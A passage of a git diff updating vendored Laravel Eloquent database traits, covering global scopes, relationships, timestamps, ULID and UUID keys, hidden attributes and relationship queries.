\Illuminate\Events\QueuedClosure|\Closure|string $callback + * @param \Illuminate\Events\QueuedClosure|\Closure|string|array $callback * @return void */ public static function deleted($callback) @@ -338,7 +365,7 @@ public static function deleted($callback) } /** - * Remove all of the event listeners for the model. + * Remove all the event listeners for the model. * * @return void */ diff --git a/vendor/illuminate/database/Eloquent/Concerns/HasGlobalScopes.php b/vendor/illuminate/database/Eloquent/Concerns/HasGlobalScopes.php index 1742679c5..0913d94b3 100644 --- a/vendor/illuminate/database/Eloquent/Concerns/HasGlobalScopes.php +++ b/vendor/illuminate/database/Eloquent/Concerns/HasGlobalScopes.php @@ -3,32 +3,78 @@ namespace Illuminate\Database\Eloquent\Concerns; use Closure; +use Illuminate\Database\Eloquent\Attributes\ScopedBy; use Illuminate\Database\Eloquent\Scope; use Illuminate\Support\Arr; use InvalidArgumentException; +use ReflectionClass; trait HasGlobalScopes { + /** + * Boot the has global scopes trait for a model. + * + * @return void + */ + public static function bootHasGlobalScopes() + { + static::addGlobalScopes(static::resolveGlobalScopeAttributes()); + } + + /** + * Resolve the global scope class names from the attributes. + * + * @return array + */ + public static function resolveGlobalScopeAttributes() + { + $reflectionClass = new ReflectionClass(static::class); + + return collect($reflectionClass->getAttributes(ScopedBy::class)) + ->map(fn ($attribute) => $attribute->getArguments()) + ->flatten() + ->all(); + } + /** * Register a new global scope on the model. * * @param \Illuminate\Database\Eloquent\Scope|\Closure|string $scope - * @param \Closure|null $implementation + * @param \Illuminate\Database\Eloquent\Scope|\Closure|null $implementation * @return mixed * * @throws \InvalidArgumentException */ - public static function addGlobalScope($scope, Closure $implementation = null) + public static function addGlobalScope($scope, $implementation = null) { - if (is_string($scope) && ! is_null($implementation)) { + if (is_string($scope) && ($implementation instanceof Closure || $implementation instanceof Scope)) { return static::$globalScopes[static::class][$scope] = $implementation; } elseif ($scope instanceof Closure) { return static::$globalScopes[static::class][spl_object_hash($scope)] = $scope; } elseif ($scope instanceof Scope) { return static::$globalScopes[static::class][get_class($scope)] = $scope; + } elseif (is_string($scope) && class_exists($scope) && is_subclass_of($scope, Scope::class)) { + return static::$globalScopes[static::class][$scope] = new $scope; } - throw new InvalidArgumentException('Global scope must be an instance of Closure or Scope.'); + throw new InvalidArgumentException('Global scope must be an instance of Closure or Scope or be a class name of a class extending '.Scope::class); + } + + /** + * Register multiple global scopes on the model. + * + * @param array $scopes + * @return void + */ + public static function addGlobalScopes(array $scopes) + { + foreach ($scopes as $key => $scope) { + if (is_string($key)) { + static::addGlobalScope($key, $scope); + } else { + static::addGlobalScope($scope); + } + } } /** @@ -59,6 +105,27 @@ public static function getGlobalScope($scope) ); } + /** + * Get all of the global scopes that are currently registered. + * + * @return array + */ + public static function getAllGlobalScopes() + { + return static::$globalScopes; + } + + /** + * Set the current global scopes. + * + * @param array $scopes + * @return void + */ + public static function setAllGlobalScopes($scopes) + { + static::$globalScopes = $scopes; + } + /** * Get the global scopes for this class instance. * diff --git a/vendor/illuminate/database/Eloquent/Concerns/HasRelationships.php b/vendor/illuminate/database/Eloquent/Concerns/HasRelationships.php index a4612b462..a9f71e39e 100644 --- a/vendor/illuminate/database/Eloquent/Concerns/HasRelationships.php +++ b/vendor/illuminate/database/Eloquent/Concerns/HasRelationships.php @@ -7,6 +7,7 @@ use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; +use Illuminate\Database\Eloquent\PendingHasThroughRelationship; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\BelongsToMany; use Illuminate\Database\Eloquent\Relations\HasMany; @@ -17,6 +18,7 @@ use Illuminate\Database\Eloquent\Relations\MorphOne; use Illuminate\Database\Eloquent\Relations\MorphTo; use Illuminate\Database\Eloquent\Relations\MorphToMany; +use Illuminate\Database\Eloquent\Relations\Pivot; use Illuminate\Database\Eloquent\Relations\Relation; use Illuminate\Support\Arr; use Illuminate\Support\Str; @@ -53,6 +55,26 @@ trait HasRelationships */ protected static $relationResolvers = []; + /** + * Get the dynamic relation resolver if defined or inherited, or return null. + * + * @param string $class + * @param string $key + * @return mixed + */ + public function relationResolver($class, $key) + { + if ($resolver = static::$relationResolvers[$class][$key] ?? null) { + return $resolver; + } + + if ($parent = get_parent_class($class)) { + return $this->relationResolver($parent, $key); + } + + return null; + } + /** * Define a dynamic relation resolver. * @@ -114,7 +136,7 @@ protected function newHasOne(Builder $query, Model $parent, $foreignKey, $localK */ public function hasOneThrough($related, $through, $firstKey = null, $secondKey = null, $localKey = null, $secondLocalKey = null) { - $through = new $through; + $through = $this->newRelatedThroughInstance($through); $firstKey = $firstKey ?: $this->getForeignKey(); @@ -209,9 +231,9 @@ public function belongsTo($related, $foreignKey = null, $ownerKey = null, $relat $foreignKey = Str::snake($relation).'_'.$instance->getKeyName(); } - // Once we have the foreign key names, we'll just create a new Eloquent query - // for the related models and returns the relationship instance which will - // actually be responsible for retrieving and hydrating every relations. + // Once we have the foreign key names we'll just create a new Eloquent query + // for the related models and return the relationship instance which will + // actually be responsible for retrieving and hydrating every relation. $ownerKey = $ownerKey ?: $instance->getKeyName(); return $this->newBelongsTo( @@ -338,6 +360,21 @@ protected function guessBelongsToRelation() return $caller['function']; } + /** + * Create a pending has-many-through or has-one-through relationship. + * + * @param string|\Illuminate\Database\Eloquent\Relations\HasMany|\Illuminate\Database\Eloquent\Relations\HasOne $relationship + * @return \Illuminate\Database\Eloquent\PendingHasThroughRelationship + */ + public function through($relationship) + { + if (is_string($relationship)) { + $relationship = $this->{$relationship}(); + } + + return new PendingHasThroughRelationship($this, $relationship); + } + /** * Define a one-to-many relationship. * @@ -386,7 +423,7 @@ protected function newHasMany(Builder $query, Model $parent, $foreignKey, $local */ public function hasManyThrough($related, $through, $firstKey = null, $secondKey = null, $localKey = null, $secondLocalKey = null) { - $through = new $through; + $through = $this->newRelatedThroughInstance($through); $firstKey = $firstKey ?: $this->getForeignKey(); @@ -465,7 +502,7 @@ protected function newMorphMany(Builder $query, Model $parent, $type, $id, $loca * Define a many-to-many relationship. * * @param string $related - * @param string|null $table + * @param string|class-string<\Illuminate\Database\Eloquent\Model>|null $table * @param string|null $foreignPivotKey * @param string|null $relatedPivotKey * @param string|null $parentKey @@ -511,7 +548,7 @@ public function belongsToMany($related, $table = null, $foreignPivotKey = null, * * @param \Illuminate\Database\Eloquent\Builder $query * @param \Illuminate\Database\Eloquent\Model $parent - * @param string $table + * @param string|class-string<\Illuminate\Database\Eloquent\Model> $table * @param string $foreignPivotKey * @param string $relatedPivotKey * @param string $parentKey @@ -535,14 +572,15 @@ protected function newBelongsToMany(Builder $query, Model $parent, $table, $fore * @param string|null $relatedPivotKey * @param string|null $parentKey * @param string|null $relatedKey + * @param string|null $relation * @param bool $inverse * @return \Illuminate\Database\Eloquent\Relations\MorphToMany */ public function morphToMany($related, $name, $table = null, $foreignPivotKey = null, $relatedPivotKey = null, $parentKey = null, - $relatedKey = null, $inverse = false) + $relatedKey = null, $relation = null, $inverse = false) { - $caller = $this->guessBelongsToManyRelation(); + $relation = $relation ?: $this->guessBelongsToManyRelation(); // First, we will need to determine the foreign key and "other key" for the // relationship. Once we have determined the keys we will make the query @@ -553,9 +591,9 @@ public function morphToMany($related, $name, $table = null, $foreignPivotKey = n $relatedPivotKey = $relatedPivotKey ?: $instance->getForeignKey(); - // Now we're ready to create a new query builder for this related model and - // the relationship instances for this relation. This relations will set - // appropriate query constraints then entirely manages the hydrations. + // Now we're ready to create a new query builder for the related model and + // the relationship instances for this relation. This relation will set + // appropriate query constraints then entirely manage the hydrations. if (! $table) { $words = preg_split('/(_)/u', $name, -1, PREG_SPLIT_DELIM_CAPTURE); @@ -567,7 +605,7 @@ public function morphToMany($related, $name, $table = null, $foreignPivotKey = n return $this->newMorphToMany( $instance->newQuery(), $this, $name, $table, $foreignPivotKey, $relatedPivotKey, $parentKey ?: $this->getKeyName(), - $relatedKey ?: $instance->getKeyName(), $caller, $inverse + $relatedKey ?: $instance->getKeyName(), $relation, $inverse ); } @@ -604,10 +642,11 @@ protected function newMorphToMany(Builder $query, Model $parent, $name, $table, * @param string|null $relatedPivotKey * @param string|null $parentKey * @param string|null $relatedKey + * @param string|null $relation * @return \Illuminate\Database\Eloquent\Relations\MorphToMany */ public function morphedByMany($related, $name, $table = null, $foreignPivotKey = null, - $relatedPivotKey = null, $parentKey = null, $relatedKey = null) + $relatedPivotKey = null, $parentKey = null, $relatedKey = null, $relation = null) { $foreignPivotKey = $foreignPivotKey ?: $this->getForeignKey(); @@ -618,7 +657,7 @@ public function morphedByMany($related, $name, $table = null, $foreignPivotKey = return $this->morphToMany( $related, $name, $table, $foreignPivotKey, - $relatedPivotKey, $parentKey, $relatedKey, true + $relatedPivotKey, $parentKey, $relatedKey, $relation, true ); } @@ -732,6 +771,10 @@ public function getMorphClass() return array_search(static::class, $morphMap, true); } + if (static::class === Pivot::class) { + return static::class; + } + if (Relation::requiresMorphMap()) { throw new ClassMorphViolationException($this); } @@ -754,6 +797,17 @@ protected function newRelatedInstance($class) }); } + /** + * Create a new model instance for a related "through" model. + * + * @param string $class + * @return mixed + */ + protected function newRelatedThroughInstance($class) + { + return new $class; + } + /** * Get all the loaded relations for the instance. * diff --git a/vendor/illuminate/database/Eloquent/Concerns/HasTimestamps.php b/vendor/illuminate/database/Eloquent/Concerns/HasTimestamps.php index 13ebd3174..2b6dfab65 100644 --- a/vendor/illuminate/database/Eloquent/Concerns/HasTimestamps.php +++ b/vendor/illuminate/database/Eloquent/Concerns/HasTimestamps.php @@ -13,13 +13,27 @@ trait HasTimestamps */ public $timestamps = true; + /** + * The list of models classes that have timestamps temporarily disabled. + * + * @var array + */ + protected static $ignoreTimestampsOn = []; + /** * Update the model's update timestamp. * + * @param string|null $attribute * @return bool */ - public function touch() + public function touch($attribute = null) { + if ($attribute) { + $this->$attribute = $this->freshTimestamp(); + + return $this->save(); + } + if (! $this->usesTimestamps()) { return false; } @@ -29,10 +43,21 @@ public function touch() return $this->save(); } + /** + * Update the model's update timestamp without raising any events. + * + * @param string|null $attribute + * @return bool + */ + public function touchQuietly($attribute = null) + { + return static::withoutEvents(fn () => $this->touch($attribute)); + } + /** * Update the creation and update timestamps. * - * @return void + * @return $this */ public function updateTimestamps() { @@ -49,6 +74,8 @@ public function updateTimestamps() if (! $this->exists && ! is_null($createdAtColumn) && ! $this->isDirty($createdAtColumn)) { $this->setCreatedAt($time); } + + return $this; } /** @@ -104,7 +131,7 @@ public function freshTimestampString() */ public function usesTimestamps() { - return $this->timestamps; + return $this->timestamps && ! static::isIgnoringTimestamps($this::class); } /** @@ -146,4 +173,52 @@ public function getQualifiedUpdatedAtColumn() { return $this->qualifyColumn($this->getUpdatedAtColumn()); } + + /** + * Disable timestamps for the current class during the given callback scope. + * + * @param callable $callback + * @return mixed + */ + public static function withoutTimestamps(callable $callback) + { + return static::withoutTimestampsOn([static::class], $callback); + } + + /** + * Disable timestamps for the given model classes during the given callback scope. + * + * @param array $models + * @param callable $callback + * @return mixed + */ + public static function withoutTimestampsOn($models, $callback) + { + static::$ignoreTimestampsOn = array_values(array_merge(static::$ignoreTimestampsOn, $models)); + + try { + return $callback(); + } finally { + static::$ignoreTimestampsOn = array_values(array_diff(static::$ignoreTimestampsOn, $models)); + } + } + + /** + * Determine if the given model is ignoring timestamps / touches. + * + * @param string|null $class + * @return bool + */ + public static function isIgnoringTimestamps($class = null) + { + $class ??= static::class; + + foreach (static::$ignoreTimestampsOn as $ignoredClass) { + if ($class === $ignoredClass || is_subclass_of($class, $ignoredClass)) { + return true; + } + } + + return false; + } } diff --git a/vendor/illuminate/database/Eloquent/Concerns/HasUlids.php b/vendor/illuminate/database/Eloquent/Concerns/HasUlids.php new file mode 100644 index 000000000..b7e4887c2 --- /dev/null +++ b/vendor/illuminate/database/Eloquent/Concerns/HasUlids.php @@ -0,0 +1,90 @@ +usesUniqueIds = true; + } + + /** + * Get the columns that should receive a unique identifier. + * + * @return array + */ + public function uniqueIds() + { + return [$this->getKeyName()]; + } + + /** + * Generate a new ULID for the model. + * + * @return string + */ + public function newUniqueId() + { + return strtolower((string) Str::ulid()); + } + + /** + * Retrieve the model for a bound value. + * + * @param \Illuminate\Database\Eloquent\Model|\Illuminate\Database\Eloquent\Relations\Relation $query + * @param mixed $value + * @param string|null $field + * @return \Illuminate\Database\Eloquent\Relations\Relation + * + * @throws \Illuminate\Database\Eloquent\ModelNotFoundException + */ + public function resolveRouteBindingQuery($query, $value, $field = null) + { + if ($field && in_array($field, $this->uniqueIds()) && ! Str::isUlid($value)) { + throw (new ModelNotFoundException)->setModel(get_class($this), $value); + } + + if (! $field && in_array($this->getRouteKeyName(), $this->uniqueIds()) && ! Str::isUlid($value)) { + throw (new ModelNotFoundException)->setModel(get_class($this), $value); + } + + return parent::resolveRouteBindingQuery($query, $value, $field); + } + + /** + * Get the auto-incrementing key type. + * + * @return string + */ + public function getKeyType() + { + if (in_array($this->getKeyName(), $this->uniqueIds())) { + return 'string'; + } + + return $this->keyType; + } + + /** + * Get the value indicating whether the IDs are incrementing. + * + * @return bool + */ + public function getIncrementing() + { + if (in_array($this->getKeyName(), $this->uniqueIds())) { + return false; + } + + return $this->incrementing; + } +} diff --git a/vendor/illuminate/database/Eloquent/Concerns/HasUniqueIds.php b/vendor/illuminate/database/Eloquent/Concerns/HasUniqueIds.php new file mode 100644 index 000000000..5392ca095 --- /dev/null +++ b/vendor/illuminate/database/Eloquent/Concerns/HasUniqueIds.php @@ -0,0 +1,57 @@ +usesUniqueIds; + } + + /** + * Generate unique keys for the model. + * + * @return void + */ + public function setUniqueIds() + { + foreach ($this->uniqueIds() as $column) { + if (empty($this->{$column})) { + $this->{$column} = $this->newUniqueId(); + } + } + } + + /** + * Generate a new key for the model. + * + * @return string + */ + public function newUniqueId() + { + return null; + } + + /** + * Get the columns that should receive a unique identifier. + * + * @return array + */ + public function uniqueIds() + { + return []; + } +} diff --git a/vendor/illuminate/database/Eloquent/Concerns/HasUuids.php b/vendor/illuminate/database/Eloquent/Concerns/HasUuids.php new file mode 100644 index 000000000..23d94754d --- /dev/null +++ b/vendor/illuminate/database/Eloquent/Concerns/HasUuids.php @@ -0,0 +1,90 @@ +usesUniqueIds = true; + } + + /** + * Get the columns that should receive a unique identifier. + * + * @return array + */ + public function uniqueIds() + { + return [$this->getKeyName()]; + } + + /** + * Generate a new UUID for the model. + * + * @return string + */ + public function newUniqueId() + { + return (string) Str::orderedUuid(); + } + + /** + * Retrieve the model for a bound value. + * + * @param \Illuminate\Database\Eloquent\Model|\Illuminate\Database\Eloquent\Relations\Relation $query + * @param mixed $value + * @param string|null $field + * @return \Illuminate\Database\Eloquent\Relations\Relation + * + * @throws \Illuminate\Database\Eloquent\ModelNotFoundException + */ + public function resolveRouteBindingQuery($query, $value, $field = null) + { + if ($field && in_array($field, $this->uniqueIds()) && ! Str::isUuid($value)) { + throw (new ModelNotFoundException)->setModel(get_class($this), $value); + } + + if (! $field && in_array($this->getRouteKeyName(), $this->uniqueIds()) && ! Str::isUuid($value)) { + throw (new ModelNotFoundException)->setModel(get_class($this), $value); + } + + return parent::resolveRouteBindingQuery($query, $value, $field); + } + + /** + * Get the auto-incrementing key type. + * + * @return string + */ + public function getKeyType() + { + if (in_array($this->getKeyName(), $this->uniqueIds())) { + return 'string'; + } + + return $this->keyType; + } + + /** + * Get the value indicating whether the IDs are incrementing. + * + * @return bool + */ + public function getIncrementing() + { + if (in_array($this->getKeyName(), $this->uniqueIds())) { + return false; + } + + return $this->incrementing; + } +} diff --git a/vendor/illuminate/database/Eloquent/Concerns/HidesAttributes.php b/vendor/illuminate/database/Eloquent/Concerns/HidesAttributes.php index 065d48a8d..c124fc603 100644 --- a/vendor/illuminate/database/Eloquent/Concerns/HidesAttributes.php +++ b/vendor/illuminate/database/Eloquent/Concerns/HidesAttributes.php @@ -2,28 +2,26 @@ namespace Illuminate\Database\Eloquent\Concerns; -use Closure; - trait HidesAttributes { /** * The attributes that should be hidden for serialization. * - * @var array + * @var array */ protected $hidden = []; /** * The attributes that should be visible in serialization. * - * @var array + * @var array */ protected $visible = []; /** * Get the hidden attributes for the model. * - * @return array + * @return array */ public function getHidden() { @@ -33,7 +31,7 @@ public function getHidden() /** * Set the hidden attributes for the model. * - * @param array $hidden + * @param array $hidden * @return $this */ public function setHidden(array $hidden) @@ -46,7 +44,7 @@ public function setHidden(array $hidden) /** * Get the visible attributes for the model. * - * @return array + * @return array */ public function getVisible() { @@ -56,7 +54,7 @@ public function getVisible() /** * Set the visible attributes for the model. * - * @param array $visible + * @param array $visible * @return $this */ public function setVisible(array $visible) @@ -69,7 +67,7 @@ public function setVisible(array $visible) /** * Make the given, typically hidden, attributes visible. * - * @param array|string|null $attributes + * @param array|string|null $attributes * @return $this */ public function makeVisible($attributes) @@ -79,7 +77,7 @@ public function makeVisible($attributes) $this->hidden = array_diff($this->hidden, $attributes); if (! empty($this->visible)) { - $this->visible = array_merge($this->visible, $attributes); + $this->visible = array_values(array_unique(array_merge($this->visible, $attributes))); } return $this; @@ -88,8 +86,8 @@ public function makeVisible($attributes) /** * Make the given, typically hidden, attributes visible if the given truth test passes. * - * @param bool|Closure $condition - * @param array|string|null $attributes + * @param bool|\Closure $condition + * @param array|string|null $attributes * @return $this */ public function makeVisibleIf($condition, $attributes) @@ -100,14 +98,14 @@ public function makeVisibleIf($condition, $attributes) /** * Make the given, typically visible, attributes hidden. * - * @param array|string|null $attributes + * @param array|string|null $attributes * @return $this */ public function makeHidden($attributes) { - $this->hidden = array_merge( + $this->hidden = array_values(array_unique(array_merge( $this->hidden, is_array($attributes) ? $attributes : func_get_args() - ); + ))); return $this; } @@ -115,8 +113,8 @@ public function makeHidden($attributes) /** * Make the given, typically visible, attributes hidden if the given truth test passes. * - * @param bool|Closure $condition - * @param array|string|null $attributes + * @param bool|\Closure $condition + * @param array|string|null $attributes * @return $this */ public function makeHiddenIf($condition, $attributes) diff --git a/vendor/illuminate/database/Eloquent/Concerns/QueriesRelationships.php b/vendor/illuminate/database/Eloquent/Concerns/QueriesRelationships.php index c16af1fa0..de43f9839 100644 --- a/vendor/illuminate/database/Eloquent/Concerns/QueriesRelationships.php +++ b/vendor/illuminate/database/Eloquent/Concerns/QueriesRelationships.php @@ -5,6 +5,7 @@ use BadMethodCallException; use Closure; use Illuminate\Database\Eloquent\Builder; +use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\RelationNotFoundException; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\MorphTo; @@ -12,6 +13,7 @@ use Illuminate\Database\Query\Builder as QueryBuilder; use Illuminate\Database\Query\Expression; use Illuminate\Support\Str; +use InvalidArgumentException; trait QueriesRelationships { @@ -30,7 +32,7 @@ trait QueriesRelationships public function has($relation, $operator = '>=', $count = 1, $boolean = 'and', Closure $callback = null) { if (is_string($relation)) { - if (strpos($relation, '.') !== false) { + if (str_contains($relation, '.')) { return $this->hasNested($relation, $operator, $count, $boolean, $callback); } @@ -150,6 +152,23 @@ public function whereHas($relation, Closure $callback = null, $operator = '>=', return $this->has($relation, $operator, $count, 'and', $callback); } + /** + * Add a relationship count / exists condition to the query with where clauses. + * + * Also load the relationship with same condition. + * + * @param string $relation + * @param \Closure|null $callback + * @param string $operator + * @param int $count + * @return \Illuminate\Database\Eloquent\Builder|static + */ + public function withWhereHas($relation, Closure $callback = null, $operator = '>=', $count = 1) + { + return $this->whereHas(Str::before($relation, ':'), $callback, $operator, $count) + ->with($callback ? [$relation => fn ($query) => $callback($query)] : $relation); + } + /** * Add a relationship count / exists condition to the query with where clauses and an "or". * @@ -211,6 +230,10 @@ public function hasMorph($relation, $types, $operator = '>=', $count = 1, $boole $types = $this->model->newModelQuery()->distinct()->pluck($relation->getMorphType())->filter()->all(); } + if (empty($types)) { + return $this->where(new Expression('0'), $operator, $count, $boolean); + } + foreach ($types as &$type) { $type = Relation::getMorphedModel($type) ?? $type; } @@ -355,7 +378,7 @@ public function orWhereDoesntHaveMorph($relation, $types, Closure $callback = nu * Add a basic where clause to a relationship query. * * @param string $relation - * @param \Closure|string|array|\Illuminate\Database\Query\Expression $column + * @param \Closure|string|array|\Illuminate\Contracts\Database\Query\Expression $column * @param mixed $operator * @param mixed $value * @return \Illuminate\Database\Eloquent\Builder|static @@ -363,7 +386,11 @@ public function orWhereDoesntHaveMorph($relation, $types, Closure $callback = nu public function whereRelation($relation, $column, $operator = null, $value = null) { return $this->whereHas($relation, function ($query) use ($column, $operator, $value) { - $query->where($column, $operator, $value); + if ($column instanceof Closure) { + $column($query); + } else { + $query->where($column, $operator, $value); + } }); } @@ -371,7 +398,7 @@ public function whereRelation($relation, $column, $operator = null, $value = nul * Add an "or where" clause to a relationship query. * * @param string $relation - * @param \Closure|string|array|\Illuminate\Database\Query\Expression $column + * @param \Closure|string|array|\Illuminate\Contracts\Database\Query\Expression $column * @param mixed $operator * @param mixed $value * @return \Illuminate\Database\Eloquent\Builder|static @@ -379,7 +406,11 @@ public function whereRelation($relation, $column, $operator = null, $value = nul public function orWhereRelation($relation, $column, $operator = null, $value = null) { return $this->orWhereHas($relation, function ($query) use ($column, $operator, $value) { - $query->where($column, $operator, $value); + if ($column instanceof Closure) { + $column($query); + } else { + $query->where($column, $operator, $value); + } }); } @@ -388,7 +419,7 @@ public function orWhereRelation($relation, $column, $operator = null, $value = n * * @param \Illuminate\Database\Eloquent\Relations\MorphTo|string $relation * @param string|array $types - * @param \Closure|string|array|\Illuminate\Database\Query\Expression $column + * @param \Closure|string|array|\Illuminate\Contracts\Database\Query\Expression $column * @param mixed $operator * @param mixed $value * @return \Illuminate\Database\Eloquent\Builder|static @@ -405,7 +436,7 @@ public function whereMorphRelation($relation, $types, $column, $operator = null, * * @param \Illuminate\Database\Eloquent\Relations\MorphTo|string $relation * @param string|array $types - * @param \Closure|string|array|\Illuminate\Database\Query\Expression $column + * @param \Closure|string|array|\Illuminate\Contracts\Database\Query\Expression $column * @param mixed $operator * @param mixed $value * @return \Illuminate\Database\Eloquent\Builder|static @@ -421,7 +452,7 @@ public function orWhereMorphRelation($relation, $types, $column, $operator = nul * Add a morph-to relationship condition to the query. * * @param \Illuminate\Database\Eloquent\Relations\MorphTo|string $relation - * @param \Illuminate\Database\Eloquent\Model|string $model + * @param \Illuminate\Database\Eloquent\Model|string|null $model * @return \Illuminate\Database\Eloquent\Builder|static */ public function whereMorphedTo($relation, $model, $boolean = 'and') @@ -430,6 +461,10 @@ public function whereMorphedTo($relation, $model, $boolean = 'and') $relation = $this->getRelationWithoutConstraints($relation); } + if (is_null($model)) { + return $this->whereNull($relation->getMorphType(), $boolean); + } + if (is_string($model)) { $morphMap = Relation::morphMap(); @@ -447,36 +482,89 @@ public function whereMorphedTo($relation, $model, $boolean = 'and') } /** - * Add a morph-to relationship condition to the query with an "or where" clause. + * Add a not morph-to relationship condition to the query. * * @param \Illuminate\Database\Eloquent\Relations\MorphTo|string $relation * @param \Illuminate\Database\Eloquent\Model|string $model * @return \Illuminate\Database\Eloquent\Builder|static */ + public function whereNotMorphedTo($relation, $model, $boolean = 'and') + { + if (is_string($relation)) { + $relation = $this->getRelationWithoutConstraints($relation); + } + + if (is_string($model)) { + $morphMap = Relation::morphMap(); + + if (! empty($morphMap) && in_array($model, $morphMap)) { + $model = array_search($model, $morphMap, true); + } + + return $this->whereNot($relation->getMorphType(), '<=>', $model, $boolean); + } + + return $this->whereNot(function ($query) use ($relation, $model) { + $query->where($relation->getMorphType(), '<=>', $model->getMorphClass()) + ->where($relation->getForeignKeyName(), '<=>', $model->getKey()); + }, null, null, $boolean); + } + + /** + * Add a morph-to relationship condition to the query with an "or where" clause. + * + * @param \Illuminate\Database\Eloquent\Relations\MorphTo|string $relation + * @param \Illuminate\Database\Eloquent\Model|string|null $model + * @return \Illuminate\Database\Eloquent\Builder|static + */ public function orWhereMorphedTo($relation, $model) { return $this->whereMorphedTo($relation, $model, 'or'); } + /** + * Add a not morph-to relationship condition to the query with an "or where" clause. + * + * @param \Illuminate\Database\Eloquent\Relations\MorphTo|string $relation + * @param \Illuminate\Database\Eloquent\Model|string $model + * @return \Illuminate\Database\Eloquent\Builder|static + */ + public function orWhereNotMorphedTo($relation, $model) + { + return $this->whereNotMorphedTo($relation, $model, 'or'); + } + /** * Add a "belongs to" relationship where clause to the query. * - * @param \Illuminate\Database\Eloquent\Model $related - * @param string $relationship + * @param \Illuminate\Database\Eloquent\Model|\Illuminate\Database\Eloquent\Collection<\Illuminate\Database\Eloquent\Model> $related + * @param string|null $relationshipName * @param string $boolean * @return $this * - * @throws \RuntimeException + * @throws \Illuminate\Database\Eloquent\RelationNotFoundException */ public function whereBelongsTo($related, $relationshipName = null, $boolean = 'and') { + if (! $related instanceof Collection) { + $relatedCollection = $related->newCollection([$related]); + } else { + $relatedCollection = $related; + + $related = $relatedCollection->first(); + } + + if ($relatedCollection->isEmpty()) { + throw new InvalidArgumentException('Collection given to whereBelongsTo method may not be empty.'); + } + if ($relationshipName === null) { $relationshipName = Str::camel(class_basename($related)); } try { $relationship = $this->model->{$relationshipName}(); - } catch (BadMethodCallException $exception) { + } catch (BadMethodCallException) { throw RelationNotFoundException::make($this->model, $relationshipName); } @@ -484,10 +572,9 @@ public function whereBelongsTo($related, $relationshipName = null, $boolean = 'a throw RelationNotFoundException::make($this->model, $relationshipName, BelongsTo::class); } - $this->where( + $this->whereIn( $relationship->getQualifiedForeignKeyName(), - '=', - $related->getAttributeValue($relationship->getOwnerKeyName()), + $relatedCollection->pluck($relationship->getOwnerKeyName())->toArray(), $boolean, ); @@ -498,7 +585,7 @@ public function whereBelongsTo($related, $relationshipName = null, $boolean = 'a * Add an "BelongsTo" relationship with an "or where" clause to the query. * * @param \Illuminate\Database\Eloquent\Model $related - * @param string $relationship + * @param string|null $relationshipName * @return $this * * @throws \RuntimeException @@ -512,7 +599,7 @@ public function orWhereBelongsTo($related, $relationshipName = null) * Add subselect queries to include an aggregate value for a relationship. * * @param mixed $relations - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @param string $function * @return $this */ @@ -543,17 +630,19 @@ public function withAggregate($relations, $column, $function = null) $relation = $this->getRelationWithoutConstraints($name); if ($function) { - $hashedColumn = $this->getQuery()->from === $relation->getQuery()->getQuery()->from - ? "{$relation->getRelationCountHash(false)}.$column" - : $column; + if ($this->getQuery()->getGrammar()->isExpression($column)) { + $aggregateColumn = $this->getQuery()->getGrammar()->getValue($column); + } else { + $hashedColumn = $this->getRelationHashedColumn($column, $relation); - $wrappedColumn = $this->getQuery()->getGrammar()->wrap( - $column === '*' ? $column : $relation->getRelated()->qualifyColumn($hashedColumn) - ); + $aggregateColumn = $this->getQuery()->getGrammar()->wrap( + $column === '*' ? $column : $relation->getRelated()->qualifyColumn($hashedColumn) + ); + } - $expression = $function === 'exists' ? $wrappedColumn : sprintf('%s(%s)', $function, $wrappedColumn); + $expression = $function === 'exists' ? $aggregateColumn : sprintf('%s(%s)', $function, $aggregateColumn); } else { - $expression = $column; + $expression = $this->getQuery()->getGrammar()->getValue($column); } // Here, we will grab the relationship sub-query and prepare to add it to the main query @@ -581,8 +670,8 @@ public function withAggregate($relations, $column, $function = null) // Finally, we will make the proper column alias to the query and run this sub-select on // the query builder. Then, we will return the builder instance back to the developer // for further constraint chaining that needs to take place on the query as needed. - $alias = $alias ?? Str::snake( - preg_replace('/[^[:alnum:][:space:]_]/u', '', "$name $function $column") + $alias ??= Str::snake( + preg_replace('/[^[:alnum:][:space:]_]/u', '', "$name $function {$this->getQuery()->getGrammar()->getValue($column)}") ); if ($function === 'exists') { @@ -601,6 +690,24 @@ public function withAggregate($relations, $column, $function = null) return $this; } + /** + * Get the relation hashed column name for the given column and relation. + * + * @param string $column + * @param \Illuminate\Database\Eloquent\Relations\Relation $relation + * @return string + */ + protected function getRelationHashedColumn($column, $relation) + { + if (str_contains($column, '.')) { + return $column; + } + + return $this->getQuery()->from === $relation->getQuery()->getQuery()->from + ? "{$relation->getRelationCountHash(false)}.$column" + : $column; + } + /** * Add subselect queries to count the relations. * @@ -616,7 +723,7 @@ public function withCount($relations) * Add subselect queries to include the max of the relation's column. * * @param string|array $relation - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @return $this */ public function withMax($relation, $column) @@ -628,7 +735,7 @@ public function withMax($relation, $column) * Add subselect queries to include the min of the relation's column. * * @param string|array $relation - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @return $this */ public function withMin($relation, $column) @@ -640,7 +747,7 @@ public function withMin($relation, $column) * Add subselect queries to include the sum of the relation's column. * * @param string|array $relation - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @return $this */ public function withSum($relation, $column) @@ -652,7 +759,7 @@ public function withSum($relation, $column) * Add subselect queries to include the average of the relation's column. * * @param string|array $relation - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @return $this */ public function withAvg($relation, $column) @@ -700,16 +807,42 @@ public function mergeConstraintsFrom(Builder $from) { $whereBindings = $from->getQuery()->getRawBindings()['where'] ?? []; + $wheres = $from->getQuery()->from !== $this->getQuery()->from + ? $this->requalifyWhereTables( + $from->getQuery()->wheres, + $from->getQuery()->grammar->getValue($from->getQuery()->from), + $this->getModel()->getTable() + ) : $from->getQuery()->wheres; + // Here we have some other query that we want to merge the where constraints from. We will // copy over any where constraints on the query as well as remove any global scopes the // query might have removed. Then we will return ourselves with the finished merging. return $this->withoutGlobalScopes( $from->removedScopes() )->mergeWheres( - $from->getQuery()->wheres, $whereBindings + $wheres, $whereBindings ); } + /** + * Updates the table name for any columns with a new 